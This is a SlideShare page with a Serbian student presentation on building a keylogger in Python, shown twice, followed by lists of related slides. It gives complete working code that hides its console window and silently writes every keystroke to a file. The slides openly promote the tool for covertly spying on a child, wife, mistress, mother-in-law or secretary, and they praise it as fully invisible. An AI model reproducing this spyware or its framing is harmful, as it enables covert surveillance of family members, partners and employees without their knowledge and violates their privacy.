SlideShare a Scribd company logo
1 of 5
Download to read offline
1/5


                         Osnovni primer
                         KeyLogging-a
                           u Pyton-u

Pokušćemo da Vam dočaramo samo delić onoga što sa moćnim programskim
jezicima možete da učinite.
Da li ste ikada pomislili da Vam ukućani u vašem odsustvu diraju personalni
računar ili čitaju privatne poruke, kradu Vašu intimu….?!!!


                        Tome je sada kraj!!!
- Par reči o KeyLoggingu.

KeyLogging je akcija praćenja i čuvanja redosleda unetih karaktera sa tastature.
U običajenom prikrivenom režimu, tako da je osoba koja koristi tastaturu
nesvesna da je špijunirana. Postoji više načina nadzora nečije tastature a
najstriktnija podela bi bila na hardware osnove i software osnove.

KeyLogger koji radi na hardware principu je minijaturni aparat koji se priključi
na kabl tastature i u sopstvenoj memoriji presreće i zapisuje podatke koje
korisnik unosi. Ovaj metod se slabo primenjuje u praksi, zbog lake uočljivosti
uređaja na kablu.
2/5


Software keyloggeri, su vrsta software (programa), koja “virtuelno” presreće
podatke, zapisuje ih i na njima izvodi dodatne potrebne operacije (pamti, kopira,
skladišti, briše). Ovaj program je superiorniji u odnosu na svog hardware brata
blizanca zbog teže detekcije.
Savršena aplikacija za praćenje virtuelnih aktivnosti Vašeg deteta, žene,
ljubavnice, tašte, sekretarice i svih drugi interesantnih osoba…




U narednom delu saznaćete kako možete kreirati sopstvenu KeyLogger
aplikaciju.

Aplikaciju ćemo kreirati u Python programskom jeziku. Neophodno je preuzeti
Python kompajler. U ovom slučaju sve neophodne uslove za kreiranje ove
aplikacije obezbedićemo Vam mi.

   • Pyton 2.6.2
   • Pywin32-214.win32-py2.6
   • pyHook-1.5.1.win32-py2.6

Ovim redosledom morate da instalirate aplikacije.
3/5


Nakon uspešne instalacije započećemo kreiranje.
Iz start menija izabraćemo Python 2.6 -> IDLE (Pyton GUI). Iz meni bara
izaberemo File -> New Window. Sada iskucavamo kod.

import   win32api
import   win32console
import   win32gui
import   pythoncom, pyHook
import   os.path
import   os

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)

exist = os.path.isfile("text.txt")
if bool(exist) == False:
 textfile = file('text.txt','wt')


def OnKeyboardEvent(event):


    if event.Ascii==5:
        os.system('taskkill /im Python.exe /f')
        _exit(1)
    if event.Ascii != 0 or 8:
        f=open('text.txt','r')
        buffer=f.read()
        f.close()
        f=open('text.txt','w')
        keylogs=chr(event.Ascii)
        if event.Ascii==13:
            keylogs='/n'
        buffer+=keylogs
        f.write(buffer)
        f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Sledi screenshoot sa detaljnim obrazloženjem svake linije koda.
4/5




Nakon toga aplikaciju snimiti. File -> SaveAs -> ImePrograma.py
                      OBAVEZNA JE EKSTENZIJA!

Pošto ste uspešno kreirali aplikaciju, pokrenite je duplim klikom. Svi zapisi biće
smeštene u fajlu “text.txt”. Aplikacija prestaje sa radom kada pritisnete tastre
CTRL+E.
5/5


                         Zaključak
Ovaj program Vam omugućava uvid u korišćenje računara. Program je potupno
nevidljiv i to je njegova prednost. Iako se keylogeri nalaze na samom vrhu liste
softvera hakera, nadamo se da Vam je ova kratka lekcija pokazala da keyloger
može zapravo biti i vrlo korisno oružje za borbu protiv zloupotrebe interneta i
kontrole u sopstvenoj okolini.
Pouka: "Nije sve tako crno kao što izgleda..."



                              Literatura
   •   www.google.com
   •   www.youtube.com
   •   www.wikipedia.com
   •   www.python.org

More Related Content

Similar to Osnovni primer keylogginga u Python-u - Dimitrije Janković - Dragan Ilić

слободан софтвер и локализација
слободан софтвер и локализацијаслободан софтвер и локализација
слободан софтвер и локализацијаИван Старчевић
 
2019 StartIT - Symfony i 12 factor arhitektura
2019 StartIT - Symfony i 12 factor arhitektura2019 StartIT - Symfony i 12 factor arhitektura
2019 StartIT - Symfony i 12 factor arhitekturaMarko Mitranić
 
ЗАШТИТА НА ИНТЕРНЕТУ
ЗАШТИТА НА ИНТЕРНЕТУЗАШТИТА НА ИНТЕРНЕТУ
ЗАШТИТА НА ИНТЕРНЕТУNatasaStojkovic11
 
Upravljanje udaljenim Računarima prezentacija
Upravljanje udaljenim Računarima prezentacijaUpravljanje udaljenim Računarima prezentacija
Upravljanje udaljenim Računarima prezentacijasktonbixe
 
Pripreme za programiranje 8.
Pripreme za programiranje 8.Pripreme za programiranje 8.
Pripreme za programiranje 8.Brankica Jokić
 
02. PROGRAMSKI PROZOR.pptx
02. PROGRAMSKI PROZOR.pptx02. PROGRAMSKI PROZOR.pptx
02. PROGRAMSKI PROZOR.pptxBrankica Jokić
 
5.-Коришћење-интернета-електронске-поште-и-сервиса-у-облаку-на-безбедан-начин...
5.-Коришћење-интернета-електронске-поште-и-сервиса-у-облаку-на-безбедан-начин...5.-Коришћење-интернета-електронске-поште-и-сервиса-у-облаку-на-безбедан-начин...
5.-Коришћење-интернета-електронске-поште-и-сервиса-у-облаку-на-безбедан-начин...perduvslada
 
Paukovic i-racunalni-virusi
Paukovic i-racunalni-virusiPaukovic i-racunalni-virusi
Paukovic i-racunalni-virusizbornica
 
Seminarski rad antivirusi
Seminarski rad antivirusiSeminarski rad antivirusi
Seminarski rad antivirusistevadobrota
 

Similar to Osnovni primer keylogginga u Python-u - Dimitrije Janković - Dragan Ilić (12)

слободан софтвер и локализација
слободан софтвер и локализацијаслободан софтвер и локализација
слободан софтвер и локализација
 
2019 StartIT - Symfony i 12 factor arhitektura
2019 StartIT - Symfony i 12 factor arhitektura2019 StartIT - Symfony i 12 factor arhitektura
2019 StartIT - Symfony i 12 factor arhitektura
 
ЗАШТИТА НА ИНТЕРНЕТУ
ЗАШТИТА НА ИНТЕРНЕТУЗАШТИТА НА ИНТЕРНЕТУ
ЗАШТИТА НА ИНТЕРНЕТУ
 
Upravljanje udaljenim Računarima prezentacija
Upravljanje udaljenim Računarima prezentacijaUpravljanje udaljenim Računarima prezentacija
Upravljanje udaljenim Računarima prezentacija
 
Skripta multimedijalni 1
Skripta multimedijalni 1Skripta multimedijalni 1
Skripta multimedijalni 1
 
Skripta multimedijalni 1
Skripta multimedijalni 1Skripta multimedijalni 1
Skripta multimedijalni 1
 
Pripreme za programiranje 8.
Pripreme za programiranje 8.Pripreme za programiranje 8.
Pripreme za programiranje 8.
 
02. PROGRAMSKI PROZOR.pptx
02. PROGRAMSKI PROZOR.pptx02. PROGRAMSKI PROZOR.pptx
02. PROGRAMSKI PROZOR.pptx
 
5.-Коришћење-интернета-електронске-поште-и-сервиса-у-облаку-на-безбедан-начин...
5.-Коришћење-интернета-електронске-поште-и-сервиса-у-облаку-на-безбедан-начин...5.-Коришћење-интернета-електронске-поште-и-сервиса-у-облаку-на-безбедан-начин...
5.-Коришћење-интернета-електронске-поште-и-сервиса-у-облаку-на-безбедан-начин...
 
Paukovic i-racunalni-virusi
Paukovic i-racunalni-virusiPaukovic i-racunalni-virusi
Paukovic i-racunalni-virusi
 
PROGRAMSKI PROZOR
PROGRAMSKI PROZORPROGRAMSKI PROZOR
PROGRAMSKI PROZOR
 
Seminarski rad antivirusi
Seminarski rad antivirusiSeminarski rad antivirusi
Seminarski rad antivirusi
 

More from NašaŠkola.Net

Sremac 2018 p1_raspored_casova_odeljenja_180917
Sremac 2018 p1_raspored_casova_odeljenja_180917Sremac 2018 p1_raspored_casova_odeljenja_180917
Sremac 2018 p1_raspored_casova_odeljenja_180917NašaŠkola.Net
 
R3 T 8.2 Ciklusi sa uslovom - Zadatak 62
R3 T 8.2 Ciklusi sa uslovom - Zadatak 62R3 T 8.2 Ciklusi sa uslovom - Zadatak 62
R3 T 8.2 Ciklusi sa uslovom - Zadatak 62NašaŠkola.Net
 
Dan škole 2016 - Program proslave godišnjice
Dan škole 2016 - Program proslave godišnjiceDan škole 2016 - Program proslave godišnjice
Dan škole 2016 - Program proslave godišnjiceNašaŠkola.Net
 
PDIS pismo podrske 2016-03-24
PDIS pismo podrske 2016-03-24PDIS pismo podrske 2016-03-24
PDIS pismo podrske 2016-03-24NašaŠkola.Net
 
Takmicenje Dabar 2016 - Satnica Nis
Takmicenje Dabar 2016 - Satnica NisTakmicenje Dabar 2016 - Satnica Nis
Takmicenje Dabar 2016 - Satnica NisNašaŠkola.Net
 
Razvionica 2014 Bezbedan internet
Razvionica 2014 Bezbedan internetRazvionica 2014 Bezbedan internet
Razvionica 2014 Bezbedan internetNašaŠkola.Net
 
Razvionica Bezbedan Internet 2014
Razvionica Bezbedan Internet 2014Razvionica Bezbedan Internet 2014
Razvionica Bezbedan Internet 2014NašaŠkola.Net
 
R4 01 BP Access Unos podataka
R4 01 BP Access Unos podatakaR4 01 BP Access Unos podataka
R4 01 BP Access Unos podatakaNašaŠkola.Net
 
Nasa skola 2011: Baze podataka - Stefan Nikolic -Silvana Ivkovic
Nasa skola 2011: Baze podataka - Stefan Nikolic -Silvana IvkovicNasa skola 2011: Baze podataka - Stefan Nikolic -Silvana Ivkovic
Nasa skola 2011: Baze podataka - Stefan Nikolic -Silvana IvkovicNašaŠkola.Net
 
Fv primena obrazovnih_standarda_130225
Fv primena obrazovnih_standarda_130225Fv primena obrazovnih_standarda_130225
Fv primena obrazovnih_standarda_130225NašaŠkola.Net
 
Наставни план и програм 2012 - Рачунарство и информатика - 2. разред
Наставни план и програм 2012 - Рачунарство и информатика - 2. разредНаставни план и програм 2012 - Рачунарство и информатика - 2. разред
Наставни план и програм 2012 - Рачунарство и информатика - 2. разредNašaŠkola.Net
 
Наставни план и програм 2012 - Рачунарство и информатика - 1. разред
Наставни план и програм 2012 - Рачунарство и информатика - 1. разредНаставни план и програм 2012 - Рачунарство и информатика - 1. разред
Наставни план и програм 2012 - Рачунарство и информатика - 1. разредNašaŠkola.Net
 
Наставни план и програм 2012 - Рачунарство и информатика - 4. разред
Наставни план и програм 2012 - Рачунарство и информатика - 4. разредНаставни план и програм 2012 - Рачунарство и информатика - 4. разред
Наставни план и програм 2012 - Рачунарство и информатика - 4. разредNašaŠkola.Net
 
Nastavni plan i program za gimnaziju - Računarstvo i informatika
Nastavni plan i program za gimnaziju - Računarstvo i informatikaNastavni plan i program za gimnaziju - Računarstvo i informatika
Nastavni plan i program za gimnaziju - Računarstvo i informatikaNašaŠkola.Net
 
Nastavni plan i program za gimnaziju - Računarstvo i informatika (PDF)
Nastavni plan i program za gimnaziju - Računarstvo i informatika (PDF)Nastavni plan i program za gimnaziju - Računarstvo i informatika (PDF)
Nastavni plan i program za gimnaziju - Računarstvo i informatika (PDF)NašaŠkola.Net
 
Рачунарство и информатика - Глобални наставни план за 3. разред гиманазије
Рачунарство и информатика - Глобални наставни план за 3. разред гиманазијеРачунарство и информатика - Глобални наставни план за 3. разред гиманазије
Рачунарство и информатика - Глобални наставни план за 3. разред гиманазијеNašaŠkola.Net
 

More from NašaŠkola.Net (20)

Sremac 2018 p1_raspored_casova_odeljenja_180917
Sremac 2018 p1_raspored_casova_odeljenja_180917Sremac 2018 p1_raspored_casova_odeljenja_180917
Sremac 2018 p1_raspored_casova_odeljenja_180917
 
R3 t9 z73
R3 t9 z73R3 t9 z73
R3 t9 z73
 
R3 t9 z71
R3 t9 z71R3 t9 z71
R3 t9 z71
 
R3 T 8.2 Ciklusi sa uslovom - Zadatak 62
R3 T 8.2 Ciklusi sa uslovom - Zadatak 62R3 T 8.2 Ciklusi sa uslovom - Zadatak 62
R3 T 8.2 Ciklusi sa uslovom - Zadatak 62
 
Dan škole 2016 - Program proslave godišnjice
Dan škole 2016 - Program proslave godišnjiceDan škole 2016 - Program proslave godišnjice
Dan škole 2016 - Program proslave godišnjice
 
CV_Dragan_Ilic_160320
CV_Dragan_Ilic_160320CV_Dragan_Ilic_160320
CV_Dragan_Ilic_160320
 
PDIS pismo podrske 2016-03-24
PDIS pismo podrske 2016-03-24PDIS pismo podrske 2016-03-24
PDIS pismo podrske 2016-03-24
 
Takmicenje Dabar 2016 - Satnica Nis
Takmicenje Dabar 2016 - Satnica NisTakmicenje Dabar 2016 - Satnica Nis
Takmicenje Dabar 2016 - Satnica Nis
 
Razvionica 2014 Bezbedan internet
Razvionica 2014 Bezbedan internetRazvionica 2014 Bezbedan internet
Razvionica 2014 Bezbedan internet
 
Razvionica Bezbedan Internet 2014
Razvionica Bezbedan Internet 2014Razvionica Bezbedan Internet 2014
Razvionica Bezbedan Internet 2014
 
R4 01 BP Access Unos podataka
R4 01 BP Access Unos podatakaR4 01 BP Access Unos podataka
R4 01 BP Access Unos podataka
 
Nasa skola 2011: Baze podataka - Stefan Nikolic -Silvana Ivkovic
Nasa skola 2011: Baze podataka - Stefan Nikolic -Silvana IvkovicNasa skola 2011: Baze podataka - Stefan Nikolic -Silvana Ivkovic
Nasa skola 2011: Baze podataka - Stefan Nikolic -Silvana Ivkovic
 
Solidarnost
SolidarnostSolidarnost
Solidarnost
 
Fv primena obrazovnih_standarda_130225
Fv primena obrazovnih_standarda_130225Fv primena obrazovnih_standarda_130225
Fv primena obrazovnih_standarda_130225
 
Наставни план и програм 2012 - Рачунарство и информатика - 2. разред
Наставни план и програм 2012 - Рачунарство и информатика - 2. разредНаставни план и програм 2012 - Рачунарство и информатика - 2. разред
Наставни план и програм 2012 - Рачунарство и информатика - 2. разред
 
Наставни план и програм 2012 - Рачунарство и информатика - 1. разред
Наставни план и програм 2012 - Рачунарство и информатика - 1. разредНаставни план и програм 2012 - Рачунарство и информатика - 1. разред
Наставни план и програм 2012 - Рачунарство и информатика - 1. разред
 
Наставни план и програм 2012 - Рачунарство и информатика - 4. разред
Наставни план и програм 2012 - Рачунарство и информатика - 4. разредНаставни план и програм 2012 - Рачунарство и информатика - 4. разред
Наставни план и програм 2012 - Рачунарство и информатика - 4. разред
 
Nastavni plan i program za gimnaziju - Računarstvo i informatika
Nastavni plan i program za gimnaziju - Računarstvo i informatikaNastavni plan i program za gimnaziju - Računarstvo i informatika
Nastavni plan i program za gimnaziju - Računarstvo i informatika
 
Nastavni plan i program za gimnaziju - Računarstvo i informatika (PDF)
Nastavni plan i program za gimnaziju - Računarstvo i informatika (PDF)Nastavni plan i program za gimnaziju - Računarstvo i informatika (PDF)
Nastavni plan i program za gimnaziju - Računarstvo i informatika (PDF)
 
Рачунарство и информатика - Глобални наставни план за 3. разред гиманазије
Рачунарство и информатика - Глобални наставни план за 3. разред гиманазијеРачунарство и информатика - Глобални наставни план за 3. разред гиманазије
Рачунарство и информатика - Глобални наставни план за 3. разред гиманазије
 

Osnovni primer keylogginga u Python-u - Dimitrije Janković - Dragan Ilić

  • 1. 1/5 Osnovni primer KeyLogging-a u Pyton-u Pokušćemo da Vam dočaramo samo delić onoga što sa moćnim programskim jezicima možete da učinite. Da li ste ikada pomislili da Vam ukućani u vašem odsustvu diraju personalni računar ili čitaju privatne poruke, kradu Vašu intimu….?!!! Tome je sada kraj!!! - Par reči o KeyLoggingu. KeyLogging je akcija praćenja i čuvanja redosleda unetih karaktera sa tastature. U običajenom prikrivenom režimu, tako da je osoba koja koristi tastaturu nesvesna da je špijunirana. Postoji više načina nadzora nečije tastature a najstriktnija podela bi bila na hardware osnove i software osnove. KeyLogger koji radi na hardware principu je minijaturni aparat koji se priključi na kabl tastature i u sopstvenoj memoriji presreće i zapisuje podatke koje korisnik unosi. Ovaj metod se slabo primenjuje u praksi, zbog lake uočljivosti uređaja na kablu.
  • 2. 2/5 Software keyloggeri, su vrsta software (programa), koja “virtuelno” presreće podatke, zapisuje ih i na njima izvodi dodatne potrebne operacije (pamti, kopira, skladišti, briše). Ovaj program je superiorniji u odnosu na svog hardware brata blizanca zbog teže detekcije. Savršena aplikacija za praćenje virtuelnih aktivnosti Vašeg deteta, žene, ljubavnice, tašte, sekretarice i svih drugi interesantnih osoba… U narednom delu saznaćete kako možete kreirati sopstvenu KeyLogger aplikaciju. Aplikaciju ćemo kreirati u Python programskom jeziku. Neophodno je preuzeti Python kompajler. U ovom slučaju sve neophodne uslove za kreiranje ove aplikacije obezbedićemo Vam mi. • Pyton 2.6.2 • Pywin32-214.win32-py2.6 • pyHook-1.5.1.win32-py2.6 Ovim redosledom morate da instalirate aplikacije.
  • 3. 3/5 Nakon uspešne instalacije započećemo kreiranje. Iz start menija izabraćemo Python 2.6 -> IDLE (Pyton GUI). Iz meni bara izaberemo File -> New Window. Sada iskucavamo kod. import win32api import win32console import win32gui import pythoncom, pyHook import os.path import os win = win32console.GetConsoleWindow() win32gui.ShowWindow(win, 0) exist = os.path.isfile("text.txt") if bool(exist) == False: textfile = file('text.txt','wt') def OnKeyboardEvent(event): if event.Ascii==5: os.system('taskkill /im Python.exe /f') _exit(1) if event.Ascii != 0 or 8: f=open('text.txt','r') buffer=f.read() f.close() f=open('text.txt','w') keylogs=chr(event.Ascii) if event.Ascii==13: keylogs='/n' buffer+=keylogs f.write(buffer) f.close() hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages() Sledi screenshoot sa detaljnim obrazloženjem svake linije koda.
  • 4. 4/5 Nakon toga aplikaciju snimiti. File -> SaveAs -> ImePrograma.py OBAVEZNA JE EKSTENZIJA! Pošto ste uspešno kreirali aplikaciju, pokrenite je duplim klikom. Svi zapisi biće smeštene u fajlu “text.txt”. Aplikacija prestaje sa radom kada pritisnete tastre CTRL+E.
  • 5. 5/5 Zaključak Ovaj program Vam omugućava uvid u korišćenje računara. Program je potupno nevidljiv i to je njegova prednost. Iako se keylogeri nalaze na samom vrhu liste softvera hakera, nadamo se da Vam je ova kratka lekcija pokazala da keyloger može zapravo biti i vrlo korisno oružje za borbu protiv zloupotrebe interneta i kontrole u sopstvenoj okolini. Pouka: "Nije sve tako crno kao što izgleda..." Literatura • www.google.com • www.youtube.com • www.wikipedia.com • www.python.org